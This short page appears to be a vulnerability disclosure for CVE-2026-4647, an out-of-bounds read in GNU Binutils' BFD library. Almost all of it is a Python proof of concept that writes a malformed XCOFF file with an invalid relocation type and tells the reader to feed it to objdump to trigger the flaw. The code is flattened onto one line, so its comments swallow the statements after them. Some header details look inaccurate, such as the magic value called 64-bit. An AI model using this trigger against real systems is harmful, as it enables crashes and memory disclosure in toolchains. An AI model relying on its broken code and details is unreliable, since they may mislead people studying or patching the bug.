CVE-2026-4647 GNU Binutils BFD库越界读取漏洞

import struct # Conceptual PoC for CVE-2026-4647 # This script generates a malformed XCOFF object file with an invalid relocation type. def create_malformed_xcoff(filename): # XCOFF File Header (Magic 0x01DF for 64-bit XCOFF) magic = 0x01DF nsyms = 0 nscns = 1 timdat = 0 symptr = 0 opthdr = 0 flags = 0 header = struct.pack(">HHIIIIII", magic, 2, nscns, timdat, symptr, nsyms, opthdr, flags) # Section Header (.text) s_name = b".text\x00\x00\x00\x00" s_paddr = 0 s_vaddr = 0 s_size = 100 s_scnptr = 200 s_relptr = 300 # Offset to relocation entries s_lnnoptr = 0 s_nreloc = 1 # Number of relocation entries s_nlnno = 0 s_flags = 0x20 # STYP_TEXT section_header = struct.pack(">8sIIIIIIIIHH", s_name, s_paddr, s_vaddr, s_size, s_scnptr, s_relptr, s_lnnoptr, s_nreloc, s_nlnno, s_flags) # Relocation Entry # The vulnerability is triggered by an invalid 'r_rtype' value used in array indexing r_vaddr = 0 r_symndx = 0 r_rtype = 0xDEADBEEF # Invalid relocation type to trigger Out-of-Bounds Read relocation_entry = struct.pack(">III", r_vaddr, r_symndx, r_rtype) # Padding raw_data = b"\x00" * 100 current_size = len(header) + len(section_header) + len(raw_data) padding = b"\x00" * (s_relptr - current_size) with open(filename, "wb") as f: f.write(header) f.write(section_header) f.write(raw_data) f.write(padding) f.write(relocation_entry) print(f"Malformed XCOFF file created: {filename}") print("Trigger using: objdump -r " + filename) if __name__ == "__main__": create_malformed_xcoff("cve_2026_4647_poc.o")